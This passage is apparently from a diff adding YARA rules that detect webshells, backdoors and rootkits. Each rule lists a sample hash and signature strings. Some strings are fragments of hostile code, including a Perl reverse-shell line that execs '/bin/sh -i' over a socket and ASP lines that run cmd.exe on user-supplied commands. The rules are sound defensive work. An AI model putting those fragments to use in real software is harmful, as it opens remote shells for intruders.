+		hash = "12911b73bc6a5d313b494102abcf5c57"
+	strings:
+		$s1 = "echo \"\\t<th class=\\\"permission_header\\\"><a href=\\\"$self?{$d}sort=permission$r\\\">"
+	condition:
+		all of them
+}
+rule Unpack_TBack {
+	meta:
+		description = "Webshells Auto-generated - file TBack.dll"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "a9d1007823bf96fb163ab38726b48464"
+	strings:
+		$s5 = "\\final\\new\\lcc\\public.dll"
+	condition:
+		all of them
+}
+rule DarkSpy105 {
+	meta:
+		description = "Webshells Auto-generated - file DarkSpy105.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "f0b85e7bec90dba829a3ede1ab7d8722"
+	strings:
+		$s7 = "Sorry,DarkSpy got an unknown exception,please re-run it,thanks!"
+	condition:
+		all of them
+}
+rule EditServer_EXE {
+	meta:
+		description = "Webshells Auto-generated - file EditServer.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "f945de25e0eba3bdaf1455b3a62b9832"
+	strings:
+		$s2 = "Server %s Have Been Configured"
+		$s5 = "The Server Password Exceeds 32 Characters"
+		$s8 = "9--Set Procecess Name To Inject DLL"
+	condition:
+		all of them
+}
+rule FSO_s_reader {
+	meta:
+		description = "Webshells Auto-generated - file reader.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "b598c8b662f2a1f6cc61f291fb0a6fa2"
+	strings:
+		$s2 = "mailto:mailbomb@hotmail."
+	condition:
+		all of them
+}
+rule ASP_CmdAsp {
+	meta:
+		description = "Webshells Auto-generated - file CmdAsp.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "79d4f3425f7a89befb0ef3bafe5e332f"
+	strings:
+		$s2 = "' -- Read the output from our command and remove the temp file -- '"
+		$s6 = "Call oScript.Run (\"cmd.exe /c \" & szCMD & \" > \" & szTempFile, 0, True)"
+		$s9 = "' -- create the COM objects that we will be using -- '"
+	condition:
+		all of them
+}
+rule KA_uShell {
+	meta:
+		description = "Webshells Auto-generated - file KA_uShell.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "685f5d4f7f6751eaefc2695071569aab"
+	strings:
+		$s5 = "if(empty($_SERVER['PHP_AUTH_PW']) || $_SERVER['PHP_AUTH_PW']<>$pass"
+		$s6 = "if ($_POST['path']==\"\"){$uploadfile = $_FILES['file']['name'];}"
+	condition:
+		all of them
+}
+rule PHP_Backdoor_v1 {
+	meta:
+		description = "Webshells Auto-generated - file PHP Backdoor v1.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "0506ba90759d11d78befd21cabf41f3d"
+	strings:
+
+		$s5 = "echo\"<form method=\\\"POST\\\" action=\\\"\".$_SERVER['PHP_SELF'].\"?edit=\".$th"
+		$s8 = "echo \"<a href=\\\"\".$_SERVER['PHP_SELF'].\"?proxy"
+	condition:
+		all of them
+}
+rule svchostdll {
+	meta:
+		description = "Webshells Auto-generated - file svchostdll.dll"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "0f6756c8cb0b454c452055f189e4c3f4"
+	strings:
+		$s0 = "InstallService"
+		$s1 = "RundllInstallA"
+		$s2 = "UninstallService"
+		$s3 = "&G3 Users In RegistryD"
+		$s4 = "OL_SHUTDOWN;I"
+		$s5 = "SvcHostDLL.dll"
+		$s6 = "RundllUninstallA"
+		$s7 = "InternetOpenA"
+		$s8 = "Check Cloneomplete"
+	condition:
+		all of them
+}
+rule HYTop_DevPack_server {
+	meta:
+		description = "Webshells Auto-generated - file server.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "1d38526a215df13c7373da4635541b43"
+	strings:
+		$s0 = "<!-- PageServer Below -->"
+	condition:
+		all of them
+}
+rule vanquish {
+	meta:
+		description = "Webshells Auto-generated - file vanquish.dll"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "684450adde37a93e8bb362994efc898c"
+	strings:
+		$s3 = "You cannot delete protected files/folders! Instead, your attempt has been logged"
+		$s8 = "?VCreateProcessA@@YGHPBDPADPAU_SECURITY_ATTRIBUTES@@2HKPAX0PAU_STARTUPINFOA@@PAU"
+		$s9 = "?VFindFirstFileExW@@YGPAXPBGW4_FINDEX_INFO_LEVELS@@PAXW4_FINDEX_SEARCH_OPS@@2K@Z"
+	condition:
+		all of them
+}
+rule winshell {
+	meta:
+		description = "Webshells Auto-generated - file winshell.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "3144410a37dd4c29d004a814a294ea26"
+	strings:
+		$s0 = "Software\\Microsoft\\Windows\\CurrentVersion\\RunServices"
+		$s1 = "WinShell Service"
+		$s2 = "__GLOBAL_HEAP_SELECTED"
+		$s3 = "__MSVCRT_HEAP_SELECT"
+		$s4 = "Provide Windows CmdShell Service"
+		$s5 = "URLDownloadToFileA"
+		$s6 = "RegisterServiceProcess"
+		$s7 = "GetModuleBaseNameA"
+		$s8 = "WinShell v5.0 (C)2002 janker.org"
+	condition:
+		all of them
+}
+rule FSO_s_remview {
+	meta:
+		description = "Webshells Auto-generated - file remview.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "b4a09911a5b23e00b55abe546ded691c"
+	strings:
+		$s2 = "      echo \"<hr size=1 noshade>\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\""
+		$s3 = "         echo \"<script>str$i=\\\"\".str_replace(\"\\\"\",\"\\\\\\\"\",str_replace(\"\\\\\",\"\\\\\\\\\""
+		$s4 = "      echo \"<hr size=1 noshade>\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n<"
+	condition:
+		all of them
+}
+rule saphpshell {
+	meta:
+		description = "Webshells Auto-generated - file saphpshell.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "d7bba8def713512ddda14baf9cd6889a"
+	strings:
+		$s0 = "<td><input type=\"text\" name=\"command\" size=\"60\" value=\"<?=$_POST['command']?>"
+	condition:
+		all of them
+}
+rule HYTop2006_rar_Folder_2006Z {
+	meta:
+		description = "Webshells Auto-generated - file 2006Z.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "fd1b6129abd4ab177fed135e3b665488"
+	strings:
+		$s1 = "wangyong,czy,allen,lcx,Marcos,kEvin1986,myth"
+		$s8 = "System\\CurrentControlSet\\Control\\Keyboard Layouts\\%.8x"
+	condition:
+		all of them
+}
+rule admin_ad {
+	meta:
+		description = "Webshells Auto-generated - file admin-ad.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "e6819b8f8ff2f1073f7d46a0b192f43b"
+	strings:
+		$s6 = "<td align=\"center\"> <input name=\"cmd\" type=\"text\" id=\"cmd\" siz"
+		$s7 = "Response.write\"<a href='\"&url&\"?path=\"&Request(\"oldpath\")&\"&attrib=\"&attrib&\"'><"
+	condition:
+		all of them
+}
+rule FSO_s_casus15 {
+	meta:
+		description = "Webshells Auto-generated - file casus15.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "8d155b4239d922367af5d0a1b89533a3"
+	strings:
+		$s6 = "if((is_dir(\"$deldir/$file\")) AND ($file!=\".\") AND ($file!=\"..\"))"
+	condition:
+		all of them
+}
+rule BIN_Client {
+	meta:
+		description = "Webshells Auto-generated - file Client.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "9f0a74ec81bc2f26f16c5c172b80eca7"
+	strings:
+		$s0 = "=====Remote Shell Closed====="
+		$s2 = "All Files(*.*)|*.*||"
+		$s6 = "WSAStartup Error!"
+		$s7 = "SHGetFileInfoA"
+		$s8 = "CreateThread False!"
+		$s9 = "Port Number Error"
+	condition:
+		4 of them
+}
+rule shelltools_g0t_root_uptime {
+	meta:
+		description = "Webshells Auto-generated - file uptime.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "d1f56102bc5d3e2e37ab3ffa392073b9"
+	strings:
+		$s0 = "JDiamondCSlC~"
+		$s1 = "CharactQA"
+		$s2 = "$Info: This file is packed with the UPX executable packer $"
+		$s5 = "HandlereateConso"
+		$s7 = "ION\\System\\FloatingPo"
+	condition:
+		all of them
+}
+rule Simple_PHP_BackDooR {
+	meta:
+		description = "Webshells Auto-generated - file Simple_PHP_BackDooR.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "a401132363eecc3a1040774bec9cb24f"
+	strings:
+		$s0 = "<hr>to browse go to http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=[directory he"
+		$s6 = "if(!move_uploaded_file($HTTP_POST_FILES['file_name']['tmp_name'], $dir.$fn"
+		$s9 = "// a simple php backdoor"
+	condition:
+		1 of them
+}
+rule sig_2005Gray {
+	meta:
+		description = "Webshells Auto-generated - file 2005Gray.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "75dbe3d3b70a5678225d3e2d78b604cc"
+	strings:
+		$s0 = "SCROLLBAR-FACE-COLOR: #e8e7e7;"
+		$s4 = "echo \"&nbsp;<a href=\"\"/\"&encodeForUrl(theHref,false)&\"\"\" target=_blank>\"&replace"
+		$s8 = "theHref=mid(replace(lcase(list.path),lcase(server.mapPath(\"/\")),\"\"),2)"
+		$s9 = "SCROLLBAR-3DLIGHT-COLOR: #cccccc;"
+	condition:
+		all of them
+}
+rule DllInjection {
+	meta:
+		description = "Webshells Auto-generated - file DllInjection.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "a7b92283a5102886ab8aee2bc5c8d718"
+	strings:
+		$s0 = "\\BDoor\\DllInjecti"
+	condition:
+		all of them
+}
+rule Mithril_v1_45_Mithril {
+	meta:
+		description = "Webshells Auto-generated - file Mithril.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "f1484f882dc381dde6eaa0b80ef64a07"
+	strings:
+		$s2 = "cress.exe"
+		$s7 = "\\Debug\\Mithril."
+	condition:
+		all of them
+}
+rule hkshell_hkrmv {
+	meta:
+		description = "Webshells Auto-generated - file hkrmv.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "bd3a0b7a6b5536f8d96f50956560e9bf"
+	strings:
+		$s5 = "/THUMBPOSITION7"
+		$s6 = "\\EvilBlade\\"
+	condition:
+		all of them
+}
+rule phpshell {
+	meta:
+		description = "Webshells Auto-generated - file phpshell.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "1dccb1ea9f24ffbd085571c88585517b"
+	strings:
+		$s1 = "echo \"<input size=\\\"100\\\" type=\\\"text\\\" name=\\\"newfile\\\" value=\\\"$inputfile\\\"><b"
+		$s2 = "$img[$id] = \"<img height=\\\"16\\\" width=\\\"16\\\" border=\\\"0\\\" src=\\\"$REMOTE_IMAGE_UR"
+		$s3 = "$file = str_replace(\"\\\\\", \"/\", str_replace(\"//\", \"/\", str_replace(\"\\\\\\\\\", \"\\\\\", "
+	condition:
+		all of them
+}
+rule FSO_s_cmd {
+	meta:
+		description = "Webshells Auto-generated - file cmd.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "cbe8e365d41dd3cd8e462ca434cf385f"
+	strings:
+		$s0 = "<%= \"\\\\\" & oScriptNet.ComputerName & \"\\\" & oScriptNet.UserName %>"
+		$s1 = "Call oScript.Run (\"cmd.exe /c \" & szCMD & \" > \" & szTempFile, 0, True)"
+	condition:
+		all of them
+}
+rule FeliksPack3___PHP_Shells_phpft {
+	meta:
+		description = "Webshells Auto-generated - file phpft.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "60ef80175fcc6a879ca57c54226646b1"
+	strings:
+		$s6 = "PHP Files Thief"
+		$s11 = "http://www.4ngel.net"
+	condition:
+		all of them
+}
+rule FSO_s_indexer {
+	meta:
+		description = "Webshells Auto-generated - file indexer.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "135fc50f85228691b401848caef3be9e"
+	strings:
+		$s3 = "<td>Nereye :<td><input type=\"text\" name=\"nereye\" size=25></td><td><input type=\"r"
+	condition:
+		all of them
+}
+rule r57shell {
+	meta:
+		description = "Webshells Auto-generated - file r57shell.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "8023394542cddf8aee5dec6072ed02b5"
+	strings:
+		$s11 = " $_POST['cmd']=\"echo \\\"Now script try connect to"
+	condition:
+		all of them
+}
+rule bdcli100 {
+	meta:
+		description = "Webshells Auto-generated - file bdcli100.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "b12163ac53789fb4f62e4f17a8c2e028"
+	strings:
+		$s5 = "unable to connect to "
+		$s8 = "backdoor is corrupted on "
+	condition:
+		all of them
+}
+rule HYTop_DevPack_2005Red {
+	meta:
+		description = "Webshells Auto-generated - file 2005Red.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "d8ccda2214b3f6eabd4502a050eb8fe8"
+	strings:
+		$s0 = "scrollbar-darkshadow-color:#FF9DBB;"
+		$s3 = "echo \"&nbsp;<a href=\"\"/\"&encodeForUrl(theHref,false)&\"\"\" target=_blank>\"&replace"
+		$s9 = "theHref=mid(replace(lcase(list.path),lcase(server.mapPath(\"/\")),\"\"),2)"
+	condition:
+		all of them
+}
+rule HYTop2006_rar_Folder_2006X2 {
+	meta:
+		description = "Webshells Auto-generated - file 2006X2.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "cc5bf9fc56d404ebbc492855393d7620"
+	strings:
+		$s2 = "Powered By "
+		$s3 = " \" onClick=\"this.form.sharp.name=this.form.password.value;this.form.action=this."
+	condition:
+		all of them
+}
+rule rdrbs084 {
+	meta:
+		description = "Webshells Auto-generated - file rdrbs084.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "ed30327b255816bdd7590bf891aa0020"
+	strings:
+		$s0 = "Create mapped port. You have to specify domain when using HTTP type."
+		$s8 = "<LOCAL PORT> <MAPPING SERVER> <MAPPING SERVER PORT> <TARGET SERVER> <TARGET"
+	condition:
+		all of them
+}
+rule HYTop_CaseSwitch_2005 {
+	meta:
+		description = "Webshells Auto-generated - file 2005.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "8bf667ee9e21366bc0bd3491cb614f41"
+	strings:
+		$s1 = "MSComDlg.CommonDialog"
+		$s2 = "CommonDialog1"
+		$s3 = "__vbaExceptHandler"
+		$s4 = "EVENT_SINK_Release"
+		$s5 = "EVENT_SINK_AddRef"
+		$s6 = "By Marcos"
+		$s7 = "EVENT_SINK_QueryInterface"
+		$s8 = "MethCallEngine"
+	condition:
+		all of them
+}
+rule eBayId_index3 {
+	meta:
+		description = "Webshells Auto-generated - file index3.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "0412b1e37f41ea0d002e4ed11608905f"
+	strings:
+		$s8 = "$err = \"<i>Your Name</i> Not Entered!</font></h2>Sorry, \\\"You"
+	condition:
+		all of them
+}
+rule FSO_s_phvayv {
+	meta:
+		description = "Webshells Auto-generated - file phvayv.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "205ecda66c443083403efb1e5c7f7878"
+	strings:
+		$s2 = "wrap=\"OFF\">XXXX</textarea></font><font face"
+	condition:
+		all of them
+}
+rule byshell063_ntboot {
+	meta:
+		description = "Webshells Auto-generated - file ntboot.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "99b5f49db6d6d9a9faeffb29fd8e6d8c"
+	strings:
+		$s0 = "SYSTEM\\CurrentControlSet\\Services\\NtBoot"
+		$s1 = "Failure ... Access is Denied !"
+		$s2 = "Dumping Description to Registry..."
+		$s3 = "Opening Service .... Failure !"
+	condition:
+		all of them
+}
+rule FSO_s_casus15_2 {
+	meta:
+		description = "Webshells Auto-generated - file casus15.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "8d155b4239d922367af5d0a1b89533a3"
+	strings:
+		$s0 = "copy ( $dosya_gonder"
+	condition:
+		all of them
+}
+rule installer {
+	meta:
+		description = "Webshells Auto-generated - file installer.cmd"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "a507919ae701cf7e42fa441d3ad95f8f"
+	strings:
+		$s0 = "Restore Old Vanquish"
+		$s4 = "ReInstall Vanquish"
+	condition:
+		all of them
+}
+rule uploader {
+	meta:
+		description = "Webshells Auto-generated - file uploader.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "b9a9aab319964351b46bd5fc9d6246a8"
+	strings:
+		$s0 = "move_uploaded_file($userfile, \"entrika.php\"); "
+	condition:
+		all of them
+}
+rule FSO_s_remview_2 {
+	meta:
+		description = "Webshells Auto-generated - file remview.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "b4a09911a5b23e00b55abe546ded691c"
+	strings:
+		$s0 = "<xmp>$out</"
+		$s1 = ".mm(\"Eval PHP code\")."
+	condition:
+		all of them
+}
+rule FeliksPack3___PHP_Shells_r57 {
+	meta:
+		description = "Webshells Auto-generated - file r57.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "903908b77a266b855262cdbce81c3f72"
+	strings:
+		$s1 = "$sql = \"LOAD DATA INFILE \\\"\".$_POST['test3_file']."
+	condition:
+		all of them
+}
+rule HYTop2006_rar_Folder_2006X {
+	meta:
+		description = "Webshells Auto-generated - file 2006X.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "cf3ee0d869dd36e775dfcaa788db8e4b"
+	strings:
+		$s1 = "<input name=\"password\" type=\"password\" id=\"password\""
+		$s6 = "name=\"theAction\" type=\"text\" id=\"theAction\""
+	condition:
+		all of them
+}
+rule FSO_s_phvayv_2 {
+	meta:
+		description = "Webshells Auto-generated - file phvayv.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "205ecda66c443083403efb1e5c7f7878"
+	strings:
+		$s2 = "rows=\"24\" cols=\"122\" wrap=\"OFF\">XXXX</textarea></font><font"
+	condition:
+		all of them
+}
+rule elmaliseker {
+	meta:
+		description = "Webshells Auto-generated - file elmaliseker.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "ccf48af0c8c09bbd038e610a49c9862e"
+	strings:
+		$s0 = "javascript:Command('Download'"
+		$s5 = "zombie_array=array("
+	condition:
+		all of them
+}
+rule shelltools_g0t_root_resolve {
+	meta:
+		description = "Webshells Auto-generated - file resolve.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "69bf9aa296238610a0e05f99b5540297"
+	strings:
+		$s0 = "3^n6B(Ed3"
+		$s1 = "^uldn'Vt(x"
+		$s2 = "\\= uPKfp"
+		$s3 = "'r.axV<ad"
+		$s4 = "p,modoi$=sr("
+		$s5 = "DiamondC8S t"
+		$s6 = "`lQ9fX<ZvJW"
+	condition:
+		all of them
+}
+rule FSO_s_RemExp {
+	meta:
+		description = "Webshells Auto-generated - file RemExp.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "b69670ecdbb40012c73686cd22696eeb"
+	strings:
+		$s1 = "<td bgcolor=\"<%=BgColor%>\" title=\"<%=SubFolder.Name%>\"> <a href= \"<%=Request.Ser"
+		$s5 = "<td bgcolor=\"<%=BgColor%>\" title=\"<%=File.Name%>\"> <a href= \"showcode.asp?f=<%=F"
+		$s6 = "<td bgcolor=\"<%=BgColor%>\" align=\"right\"><%=Attributes(SubFolder.Attributes)%></"
+	condition:
+		all of them
+}
+rule FSO_s_tool {
+	meta:
+		description = "Webshells Auto-generated - file tool.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "3a1e1e889fdd974a130a6a767b42655b"
+	strings:
+		$s7 = "\"\"%windir%\\\\calc.exe\"\")"
+	condition:
+		all of them
+}
+rule FeliksPack3___PHP_Shells_2005 {
+	meta:
+		description = "Webshells Auto-generated - file 2005.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "97f2552c2fafc0b2eb467ee29cc803c8"
+	strings:
+		$s0 = "window.open(\"\"&url&\"?id=edit&path=\"+sfile+\"&op=copy&attrib=\"+attrib+\"&dpath=\"+lp"
+		$s3 = "<input name=\"dbname\" type=\"hidden\" id=\"dbname\" value=\"<%=request(\"dbname\")%>\">"
+	condition:
+		all of them
+}
+rule byloader {
+	meta:
+		description = "Webshells Auto-generated - file byloader.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "0f0d6dc26055653f5844ded906ce52df"
+	strings:
+		$s0 = "SYSTEM\\CurrentControlSet\\Services\\NtfsChk"
+		$s1 = "Failure ... Access is Denied !"
+		$s2 = "NTFS Disk Driver Checking Service"
+		$s3 = "Dumping Description to Registry..."
+		$s4 = "Opening Service .... Failure !"
+	condition:
+		all of them
+}
+rule shelltools_g0t_root_Fport {
+	meta:
+		description = "Webshells Auto-generated - file Fport.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "dbb75488aa2fa22ba6950aead1ef30d5"
+	strings:
+		$s4 = "Copyright 2000 by Foundstone, Inc."
+		$s5 = "You must have administrator privileges to run fport - exiting..."
+	condition:
+		all of them
+}
+rule BackDooR__fr_ {
+	meta:
+		description = "Webshells Auto-generated - file BackDooR (fr).php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "a79cac2cf86e073a832aaf29a664f4be"
+	strings:
+		$s3 = "print(\"<p align=\\\"center\\\"><font size=\\\"5\\\">Exploit include "
+	condition:
+		all of them
+}
+rule FSO_s_ntdaddy {
+	meta:
+		description = "Webshells Auto-generated - file ntdaddy.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "f6262f3ad9f73b8d3e7d9ea5ec07a357"
+	strings:
+		$s1 = "<input type=\"text\" name=\".CMD\" size=\"45\" value=\"<%= szCMD %>\"> <input type=\"s"
+	condition:
+		all of them
+}
+rule nstview_nstview {
+	meta:
+		description = "Webshells Auto-generated - file nstview.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "3871888a0c1ac4270104918231029a56"
+	strings:
+		$s4 = "open STDIN,\\\"<&X\\\";open STDOUT,\\\">&X\\\";open STDERR,\\\">&X\\\";exec(\\\"/bin/sh -i\\\");"
+	condition:
+		all of them
+}
+rule HYTop_DevPack_upload {
+	meta:
+		description = "Webshells Auto-generated - file upload.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "b09852bda534627949f0259828c967de"
+	strings:
+		$s0 = "<!-- PageUpload Below -->"
+	condition:
+		all of them
+}
+rule PasswordReminder {
+	meta:
+		description = "Webshells Auto-generated - file PasswordReminder.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "ea49d754dc609e8bfa4c0f95d14ef9bf"
+	strings:
+		$s3 = "The encoded password is found at 0x%8.8lx and has a length of %d."
+	condition:
+		all of them
+}
+rule Pack_InjectT {
+	meta:
+		description = "Webshells Auto-generated - file InjectT.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "983b74ccd57f6195a0584cdfb27d55e8"
+	strings:
+		$s3 = "ail To Open Registry"
+		$s4 = "32fDssignim"
+		$s5 = "vide Internet S"
+		$s6 = "d]Software\\M"
+		$s7 = "TInject.Dll"
+	condition:
+		all of them
+}
+rule FSO_s_RemExp_2 {
+	meta:
+		description = "Webshells Auto-generated - file RemExp.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "b69670ecdbb40012c73686cd22696eeb"
+	strings:
+		$s2 = " Then Response.Write \""
+		$s3 = "<a href= \"<%=Request.ServerVariables(\"script_name\")%>"
+	condition:
+		all of them
+}
+rule FSO_s_c99 {
+	meta:
+		description = "Webshells Auto-generated - file c99.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "5f9ba02eb081bba2b2434c603af454d0"
+	strings:
+		$s2 = "\"txt\",\"conf\",\"bat\",\"sh\",\"js\",\"bak\",\"doc\",\"log\",\"sfc\",\"cfg\",\"htacce"
+	condition:
+		all of them
+}
+rule rknt_zip_Folder_RkNT {
+	meta:
+		description = "Webshells Auto-generated - file RkNT.dll"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "5f97386dfde148942b7584aeb6512b85"
+	strings:
+		$s0 = "PathStripPathA"
+		$s1 = "`cLGet!Addr%"
+		$s2 = "$Info: This file is packed with the UPX executable packer http://upx.tsx.org $"
+		$s3 = "oQToOemBuff* <="
+		$s4 = "ionCdunAsw[Us'"
+		$s6 = "CreateProcessW: %S"
+		$s7 = "ImageDirectoryEntryToData"
+	condition:
+		all of them
+}
+rule dbgntboot {
+	meta:
+		description = "Webshells Auto-generated - file dbgntboot.dll"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "4d87543d4d7f73c1529c9f8066b475ab"
+	strings:
+		$s2 = "now DOS is working at mode %d,faketype %d,against %s,has worked %d minutes,by sp"
+		$s3 = "sth junk the M$ Wind0wZ retur"
+	condition:
+		all of them
+}
+rule PHP_shell {
+	meta:
+		description = "Webshells Auto-generated - file shell.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "45e8a00567f8a34ab1cccc86b4bc74b9"
+	strings:
+		$s0 = "AR8iROET6mMnrqTpC6W1Kp/DsTgxNby9H1xhiswfwgoAtED0y6wEXTihoAtICkIX6L1+vTUYWuWz"
+		$s11 = "1HLp1qnlCyl5gko8rDlWHqf8/JoPKvGwEm9Q4nVKvEh0b0PKle3zeFiJNyjxOiVepMSpflJkPv5s"
+	condition:
+		all of them
+}
+rule hxdef100 {
+	meta:
+		description = "Webshells Auto-generated - file hxdef100.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "55cc1769cef44910bd91b7b73dee1f6c"
+	strings:
+		$s0 = "RtlAnsiStringToUnicodeString"
+		$s8 = "SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\"
+		$s9 = "\\\\.\\mailslot\\hxdef-rk100sABCDEFGH"
+	condition:
+		all of them
+}
+rule rdrbs100 {
+	meta:
+		description = "Webshells Auto-generated - file rdrbs100.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "7c752bcd6da796d80a6830c61a632bff"
+	strings:
+		$s3 = "Server address must be IP in A.B.C.D format."
+		$s4 = " mapped ports in the list. Currently "
+	condition:
+		all of them
+}
+rule Mithril_Mithril {
+	meta:
+		description = "Webshells Auto-generated - file Mithril.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "017191562d72ab0ca551eb89256650bd"
+	strings:
+		$s0 = "OpenProcess error!"
+		$s1 = "WriteProcessMemory error!"
+		$s4 = "GetProcAddress error!"
+		$s5 = "HHt`HHt\\"
+		$s6 = "Cmaudi0"
+		$s7 = "CreateRemoteThread error!"
+		$s8 = "Kernel32"
+		$s9 = "VirtualAllocEx error!"
+	condition:
+		all of them
+}
+rule hxdef100_2 {
+	meta:
+		description = "Webshells Auto-generated - file hxdef100.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "1b393e2e13b9c57fb501b7cd7ad96b25"
+	strings:
+		$s0 = "\\\\.\\mailslot\\hxdef-rkc000"
+		$s2 = "Shared Components\\On Access Scanner\\BehaviourBlo"
+		$s6 = "SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\"
+	condition:
+		all of them
+}
+rule Release_dllTest {
+	meta:
+		description = "Webshells Auto-generated - file dllTest.dll"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "76a59fc3242a2819307bb9d593bef2e0"
+	strings:
+		$s0 = ";;;Y;`;d;h;l;p;t;x;|;"
+		$s1 = "0 0&00060K0R0X0f0l0q0w0"
+		$s2 = ": :$:(:,:0:4:8:D:`=d="
+		$s3 = "4@5P5T5\\5T7\\7d7l7t7|7"
+		$s4 = "1,121>1C1K1Q1X1^1e1k1s1y1"
+		$s5 = "9 9$9(9,9P9X9\\9`9d9h9l9p9t9x9|9"
+		$s6 = "0)0O0\\0a0o0\"1E1P1q1"
+		$s7 = "<.<I<d<h<l<p<t<x<|<"
+		$s8 = "3&31383>3F3Q3X3`3f3w3|3"
+		$s9 = "8@;D;H;L;P;T;X;\\;a;9=W=z="
+	condition:
+		all of them
+}
+rule webadmin {
+	meta:
+		description = "Webshells Auto-generated - file webadmin.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "3a90de401b30e5b590362ba2dde30937"
+	strings:
+		$s0 = "<input name=\\\"editfilename\\\" type=\\\"text\\\" class=\\\"style1\\\" value='\".$this->inpu"
+	condition:
+		all of them
+}
+rule commands {
+	meta:
+		description = "Webshells Auto-generated - file commands.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "174486fe844cb388e2ae3494ac2d1ec2"
+	strings:
+		$s1 = "If CheckRecord(\"SELECT COUNT(ID) FROM VictimDetail WHERE VictimID = \" & VictimID"
+		$s2 = "proxyArr = Array (\"HTTP_X_FORWARDED_FOR\",\"HTTP_VIA\",\"HTTP_CACHE_CONTROL\",\"HTTP_F"
+	condition:
+		all of them
+}
+rule hkdoordll {
+	meta:
+		description = "Webshells Auto-generated - file hkdoordll.dll"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "b715c009d47686c0e62d0981efce2552"
+	strings:
+		$s6 = "Can't uninstall,maybe the backdoor is not installed or,the Password you INPUT is"
+	condition:
+		all of them
+}
+rule r57shell_2 {
+	meta:
+		description = "Webshells Auto-generated - file r57shell.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "8023394542cddf8aee5dec6072ed02b5"
+	strings:
